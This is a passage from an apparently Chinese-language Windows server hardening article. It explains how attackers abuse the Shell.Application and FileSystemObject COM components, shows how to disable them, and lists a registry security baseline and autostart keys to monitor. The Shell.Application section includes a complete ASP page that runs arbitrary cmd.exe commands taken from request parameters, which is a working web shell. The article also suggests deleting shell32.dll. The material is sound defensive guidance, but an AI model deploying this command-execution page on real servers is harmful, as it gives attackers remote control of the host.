regsvr32/u C:\WINDOWS\System32\wshom.ocx 
del C:\WINDOWS\System32\wshom.ocx
*/

Relevant Link:

http://www.mydiannao.com/article/show.asp?id=3902
http://www.processlibrary.com/en/directory/files/wshom/22473/
http://baike.baidu.com/view/702418.htm
http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5
https://technet.microsoft.com/en-us/library/ee156590.aspx
http://www.devguru.com/technologies/wsh/17408
http://codex.wiki/post/183860-445

0x2:Shell.application元件

wscript.shell、shell.application這兩個元件都是來執行程式的,但是正常的業務場景中很少會用到

1. Run a batch script with elevated permissions, flag=runas:

Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "E:\demo\batchScript.cmd", "", "", "runas", 1

2. Run a VBScript with elevated permissions, flag=runas:

Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cscript", "E:\demo\vbscript.vbs", "", "runas", 1

3. ASP

<%
    On Error Resume Next
    Dim theFile, thePath, appPath, appName, appArgs
    appPath = Trim(Request("appPath"))
    appName = Trim(Request("appName"))
    appArgs = Trim(Request("appArgs"))
     
    If appName = "" Then
    appName = "cmd.exe"
    End If
        
    If appPath <> "" And Right(appPath, 1) <> "\" Then
    appPath = appPath & "\"
    End If
        
    If LCase(appName) = "cmd.exe" And appArgs <> "" Then
    If LCase(Left(appArgs, 2)) <> "/c" Then
    appArgs = "/c " & appArgs
    End If
    Else
    If LCase(appName) = "cmd.exe" And appArgs = "" Then
    appArgs = "/c "
    End If
    End If
     
    Set objShellApp = CreateObject("Shell.Application")
    objShellApp.ShellExecute appName, appArgs, appPath, "", 0
%>
 
<form method=post onSubmit='this.Submit.disabled=true'>
    所在路徑: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>
    程式檔案: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/>
    命令引數: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62>
    <input type=submit name=Submit value=' 執行 '><br/>
    <hr/>注: 只有命令列程式在CMD.EXE執行環境下才可以進行臨時檔案回顯(利用"">""符號),其它程式只能執行不能回顯.<br/>&nbsp; 程式檔案預設為cmd.exe,請自定義路徑,引數處直接寫命令.<hr/>
</form>

4. PHP

<?php 
    $wsh = new COM('Shell.Application') or die("Shell.Application"); 
    $exec = $wsh->open("c:\\windows\\system32\\notepad.exe"); 
    //$exec = $wsh->ShellExecute("c:\\windows\\system32\\notepad.exe");  
?>

禁用此元件的方法

1. HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540000}: 刪除
2. HKEY_CLASSES_ROOT\Shell.Application: 改名為 HKEY_CLASSES_ROOT\Shell.Application_bak
3. HKEY_CLASSES_ROOT\Shell.Application.1: 改名為 HKEY_CLASSES_ROOT\Shell.Application.1_bak
4. HKEY_CLASSES_ROOT\Shell.Application\CLSID\專案的值: 專案的值改為其他值(刪除效果也是一樣的)
5. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\專案的值: 專案的值改為其他值(刪除效果也是一樣的)

/*
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
*/

Relevant Link:

http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm 
http://ss64.com/vb/shellexecute.html
http://www.2cto.com/Article/201308/232922.html
http://www.tdblog.cn/m/?post=125

0x3:FileSystemObject元件 

現在越來越多的網站使用動態生成靜態頁的技術,就是資訊在寫入資料庫的同時,使用系統的FSO元件來生成html格式的靜態頁,這樣能提高使用者的訪問速度。這樣系統在配置的時候,需要載入FSO元件(File System Object) 。

FSO(FileSystemObject)是微軟ASP的一個對檔案操作的控制元件,該控制元件可以對伺服器進行讀取、新建、修改、刪除目錄以及檔案的操作。是ASP程式設計中非常有用的一個控制元件。但是因為許可權控制的問題,很多虛擬主機伺服器的FSO反而成為這臺伺服器的一個公開的後門,因為客戶可以在自己的ASP網頁裡面直接就對該控制元件程式設計,從而控制該伺服器甚至刪除伺服器上的檔案 

FSO物件模型包含在Scripting 型別庫(Scrrun.Dll)中,它同時包含了5個物件:

1. Drive: Drive用來收集驅動器的資訊,如可用磁碟空間或驅動器的型別
2. Folder: Folder用於建立、刪除或移動資料夾,同時可以進行向系統查詢資料夾的路徑等操作
3. File: File的基本操作和Folder基本相同,所不同的是Files的操作主要是針對磁碟上的檔案進行的
4. FileSystemObject: FileSystemObject是FSO物件模型中最主要物件,它提供了一套完整的可用於建立、刪除檔案和資料夾,收集驅動器、資料夾、檔案相關資訊的方法。需要注意的是,FSO物件模型提供的方法是冗餘的,也就是說在實際使用中,FSO物件模型中包含的不同物件的不同方法進行的卻是同樣的操作,而且FileSystemObject物件的方法直接作用於其餘物件
5. TextStream: extStream物件則是用來完成對檔案的讀寫操作

 

1. FSO的載入方法

1. 首先在系統目錄中查詢scrrun.dll,如果存在這個檔案,請跳到第三步,如果沒有,請執行第二步 
2. 在系統安裝盤i386目錄中找到scrrun.dl_,用winrar解壓縮,得scrrun.dll,然後複製到你的系統目錄c:windowssystem32目錄中。
3. 執行regsvr32 scrrun.dll即可。
4. 如果想關閉FSO元件,請執行 regsvr32 /u scrrun.dll即可。

adodb.stream元件  
regsvr32 "C:Program FilesCommon FilesSystemadomsado15.dll"
即可再次支援adodb.stream元件

2. FSO使用示例

1. 建立檔案
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.CreateTextFile("C:\test.txt", true) '第二個參數列示目標檔案存在時是否覆蓋
f.Write("寫入內容")
f.WriteLine("寫入內容並換行")
f.WriteBlankLines(3) '寫入三個空白行(相當於在文字編輯器中按三次回車)
f.Close()
set f = nothing
set fso = nothing

2. 開啟並讀檔案
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", 1, false) '第二個引數 1 表示只讀開啟,第三個參數列示目標檔案不存在時是否建立
f.Skip(3) '將當前位置向後移三個字元
f.SkipLine() '將當前位置移動到下一行的第一個字元,注意:無引數
response.Write f.Read(3) '從當前位置向後讀取三個字元,並將當前位置向後移三個字元
response.Write f.ReadLine() '從當前位置向後讀取直到遇到換行符(不讀取換行符),並將當前位置移動到下一行的第一個字元,注意:無引數
response.Write f.ReadAll() '從當前位置向後讀取,直到檔案結束,並將當前位置移動到檔案的最後
if f.atEndOfLine then
   response.Write("一行的結尾!")
end if
if f.atEndOfStream then
    response.Write("檔案的結尾!")
end if
f.Close()
set f = nothing
set fso = nothing

3. 開啟並寫檔案
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", 2, false) '第二個引數 2 表示重寫,如果是 8 表示追加
f.Write("寫入內容")
f.WriteLine("寫入內容並換行")
f.WriteBlankLines(3) '寫入三個空白行(相當於在文字編輯器中按三次回車)
f.Close()
set f = nothing
set fso = nothing

4. 判斷檔案是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FileExists("C:\test.txt") then
    response.Write("目標檔案存在")
else
    response.Write("目標檔案不存在")
end if
set fso = nothing

5. 移動檔案
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.MoveFile("C:\test.txt", "D:\test111.txt") '兩個引數的檔名部分可以不同
set fso = nothing

6. 複製檔案
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.CopyFile("C:\test.txt", "D:\test111.txt") '兩個引數的檔名部分可以不同
set fso = nothing

7. 刪除檔案
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
set fso = nothing

8. 建立資料夾
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.CreateFolder("C:\test") '目標資料夾的父資料夾必須存在
set fso = nothing

9. 判斷資料夾是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FolderExists("C:\Windows") then
    response.Write("目標資料夾存在")
else
    response.Write("目標資料夾不存在")
end if
set fso = nothing

10. 刪除資料夾
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\test") '資料夾不必為空
set fso = nothing
//FSO不能操作二進位制檔案,要操作二進位制檔案,使用ADODB.Stream

禁用FSO元件的方法

1. 用RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll
2. 修改Progid的值: 在ASP裡呼叫元件的方式通常是 Set 物件名 = Server. CreateObject("Progid"),這時候我們就可以通過修改登錄檔中的Progid值從達到禁用該元件的方法
HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID: 將預設值改為 Scripting.FileSystemObject_bak
3. HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}: 改為HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054229},改變CLSID號,使呼叫失敗
4. HKEY_CLASSES_ROOT\Scripting.FileSystemObject: 改為 HKEY_CLASSES_ROOT\Scripting.FileSystemObject_bak
5. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\專案的值: 專案的值改為其他值(刪除效果也是一樣的)

Relevant Link:

http://sujian.blog.51cto.com/8838/3788
http://www.15897.com/blog/post/ASP-FSO-zujian-xiangjie-shuoming.html
http://www.williamlong.info/archives/89.html
http://www.mydiannao.com/article/show.asp?id=3902
http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm
http://service.oray.com/question/349.html

Relevant Link:

https://support.microsoft.com/zh-cn/kb/314837
http://www.xitonghe.com/jiaocheng/windows7-2587.html
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsNT/RegistryTips/Registry/DisableRemoteRegistryEditing.html 

 

6. 登錄檔安全配置基線標定

0x1: 自啟動項檢查

1. HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動時自動初始化程式  
3. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動 
7. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
8. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動  
9. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
10. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
11. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
12. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
13. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce:
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
14. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
15. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
16. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動
17. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    1) expectedvalue: 空 
    2) discription: 可疑風險自動啟動項,會隨著WINDOWS系統啟動的時候自動啟動

0x2: 磁碟驅動器被隱藏

1. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoDrives
    1) expectedvalue: 0
    2) discription: 當前啟動了磁碟驅動隱藏,屬於風險行為

0x3: 網路安全相關

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM
    1) expectedvalue: "N"
    2) discription: 135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務,"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC本身在處理通過TCP/IP的訊息交換部分有一個漏洞,該漏洞是由於錯誤地處理格式不正確的訊息造成的。該漏洞會影響到RPC與DCOM之間的一個介面,該介面偵聽的埠就是135,為了避免"衝擊波"病毒以及其他RPC漏洞的攻擊,建議關閉該埠 
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols
    1) expectedvalue: not contain "ncacn_ip_tcp"
    2) discription: 135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務,"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC本身在處理通過TCP/IP的訊息交換部分有一個漏洞,該漏洞是由於錯誤地處理格式不正確的訊息造成的。該漏洞會影響到RPC與DCOM之間的一個介面,該介面偵聽的埠就是135,為了避免"衝擊波"病毒以及其他RPC漏洞的攻擊,建議關閉該埠  
3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled
    1) expectedvalue: 0
    2) discription: 445埠是一個譭譽參半的埠,他和139埠一起是IPC$入侵的主要通道。有了它我們可以在區域網中輕鬆訪問各種共享資料夾或共享印表機,但也正是因為有了它,黑客們才有了可乘之機,攻擊者能通過該埠共享受害者的硬碟,甚至會在悄無聲息中將硬碟格式化掉
4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
    1) expectedvalue: not "0" 
    2) discription: 禁用IPC$空連線,可以防止遠端使用者的匿名訪問
5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
    1) expectedvalue: >=3
    2) discription: 在建立連線時,如果BetBT發現可用的連線塊數目小於2個,會自動的再分配可用連線塊,NetBT每次增加的連線塊的數目定義在登錄檔中的雙位元組值項BacklogIncrement中,適當增大此值可以提高併發連線速度
6. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog
    1) expectedvalue: 1
    2) discription: 對於網路繁忙或者易遭受SYN攻擊的系統,建議設定為1,表示允許動態Backlog 
7. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
    1) expectedvalue: 20
    2) discription: 表示動態Backlog分配的自由連線的最小數目。當自由連線數目低於此數目時,將自動的分配自由連線,對於網路繁忙或者易遭受SYN攻擊的系統,建議設定為20 
8. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
    1) expectedvalue: >= 20000
    2) discription: 表示定義最大""連線的數目。""連線包括自由連線和半連線,對於網路繁忙或者易遭受SYN攻擊的系統,應該設定此值,大小取決於記憶體的多少。一般來說,每32M記憶體最大可以增加5000個
9. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
    1) expectedvalue: >= 10
    2) discription: 表示定義每次增加的自由連線數目,對於網路繁忙或者易遭受SYN攻擊的系統,建議設定大於等於10
10. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect
    1) expectedvalue: 2
    2) discription: SYN淹沒攻擊保護特效能夠在系統層面阻擋一部分SYN攻擊
11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted
    1) expectedvalue: 5
    2) discription: 設定系統啟動SYN淹沒攻擊保護之前的TCP連線數上限 
12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen
    1) expectedvalue: 500
    2) discription: 設定系統啟動SYN淹沒攻擊保護之前的SYN半開連線數上限
13. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried
    1) expectedvalue: 400
    2) discription: 設定系統最大的半開連線重試次數
14. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions
    1) expectedvalue: 2
    2) discription: 定義了對於連線請求迴應包的重發次數,如果該值為1,則SYN淹沒攻擊不會有效果,但是這樣會造成連線請求失敗機率的升高,建議設定為2
15. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions
    1) expectedvalue: 2
    2) discription: 定義了對於資料包傳送請求迴應包的重發次數,如果該值為1,則SYN淹沒攻擊不會有效果,但是這樣會造成連線請求失敗機率的升高,建議設定為2
16. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery
    1) expectedvalue: 0
    2) discription: 防禦TCP碎片攻擊
17. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime
    1) expectedvalue: 300000
    2) discription: 設定系統傳送KeepAlive存活包時間間隔
18. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
    1) expectedvalue: 1
    2) discription: 設定是否釋放NetBIOS name,當接收到一個name-release請求包
19. HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
    1) expectedvalue: 0
    2) discription: 防禦ICMP重定向攻擊,檢查有可能用以攻擊的ICMP重定向報文
20. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect
    1) expectedvalue: 0
    2) discription: 防禦SNMP劫持攻擊,檢查無效閘道器,以便優化網路
21. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting
    1) expectedvalue: 1
    2) discription: 禁止IP源路由建議丟棄所有接受的源路由包  
22. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding
    1) expectedvalue: 0
    2) discription: 禁止轉發IP廣播資料包
23. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter
    1) expectedvalue: 0
    2) discription: 禁止路由發現功能,ICMP路由通告報文可以被用來增加路由表記錄,可以導致攻擊 
24. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply
    1) expectedvalue: 0
    2) discription: 禁止接收ICMP地址掩碼資料包

0x4: 元件安全相關

1. HKEY_CLASSES_ROOT\WScript.Shell
    1) expectedvalue: not exist
    2) discription: W.Shell元件常常被黑客用來執行vbs指令碼,黑客通過WEBSEHLL或者其他上傳漏洞上傳vbs提權指令碼並執行,除此之外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的呼叫),建議重新命名此表項
2. HKEY_CLASSES_ROOT\WScript.Shell.1
    1) expectedvalue: not exist
    2) discription: W.Shell元件常常被黑客用來執行vbs指令碼,黑客通過WEBSEHLL或者其他上傳漏洞上傳vbs提權指令碼並執行,除此之外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的呼叫),建議重新命名此表項
3. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\
    1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
    2) discription: W.Shell元件常常被黑客用來執行vbs指令碼,黑客通過WEBSEHLL或者其他上傳漏洞上傳vbs提權指令碼並執行,除此之外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的呼叫),建議重新命名此表項
4. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\
    1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
    2) discription: W.Shell元件常常被黑客用來執行vbs指令碼,黑客通過WEBSEHLL或者其他上傳漏洞上傳vbs提權指令碼並執行,除此之外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的呼叫),建議重新命名此表項
5. HKEY_CLASSES_ROOT\Shell.Application
    1) expectedvalue: not exist
    2) discription: shell.application這個元件常常被黑客用來部署WEBSHELL惡意檔案,執行系統指令並提權 
6. HKEY_CLASSES_ROOT\Shell.Application.1
    1) expectedvalue: not exist
    2) discription: shell.application這個元件常常被黑客用來部署WEBSHELL惡意檔案,執行系統指令並提權 
7. HKEY_CLASSES_ROOT\Shell.Application\CLSID\專案的值
    1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000}
    2) discription: shell.application這個元件常常被黑客用來部署WEBSHELL惡意檔案,執行系統指令並提權  
8. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\專案的值
    1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000}
    2) discription: shell.application這個元件常常被黑客用來部署WEBSHELL惡意檔案,執行系統指令並提權  
9. HKEY_CLASSES_ROOT\Scripting.FileSystemObject
    1) expectedvalue: not exist
    2) discription: FSO物件常常被黑客利用進行WEBSHELL惡意檔案上傳
10. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\專案的值
    1) expectedvalue: not {0D43FE01-F093-11CF-8940-00A0C9054228}
    2) discription: FSO物件常常被黑客利用進行WEBSHELL惡意檔案上傳 
11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
    1) expectedvalue: 00000001
    2) discription: 禁止遠端訪問操作登錄檔,建議關閉
12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
    1) expectedvalue: 0
    2) discription: 禁止預設啟動WINDOWS共享資料夾($ADMIN、$C、$D.)

 

7. 監控項

HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Policies/Explorer
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce 
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/Shell
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/load  
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Internet Explorer/TypedURLs
HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main 
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Command Processor/
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff


HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/​​CurrentVersion/​Explorer/Browser Helper Objects/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/​​CurrentVersion/​Explorer/​ShellExecuteHooks/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices  
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Startup            
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Shutdown
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/​CurrentVersion/Winlogon/GPExtensions/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/​CurrentVersion/Winlogon/Notify/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Userinit
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/Custom 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/InstalledSDB
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkList/Profiles
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/LoadAppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor/
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/lnkfile/IsShortcut
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff
HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLL
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SharedAccess/Parameters/FirewallPolicy/StandardProfile 
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecurityHealthService
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/​Winsock2/​Parameters/​Protocol_Catalog9/​Catalog_Entries/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/ExcludeFromKnownDlls 
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/KnownDLLs/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/WOW/Control/Session Manager/Environment/
HKEY_LOCAL_MACHINE/SYSTEM/Services/CurrentControlSet/services/Tcpip/Parameters/Interfaces
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00x/Enum/USBSTOR
HKEY_LOCAL_MACHINE/SYSTEM/MountedDevices


HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Ole/EnableDCOM
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Rpc/DCOM Protocols
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters/SMBDeviceEnabled
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/RestrictAnonymous
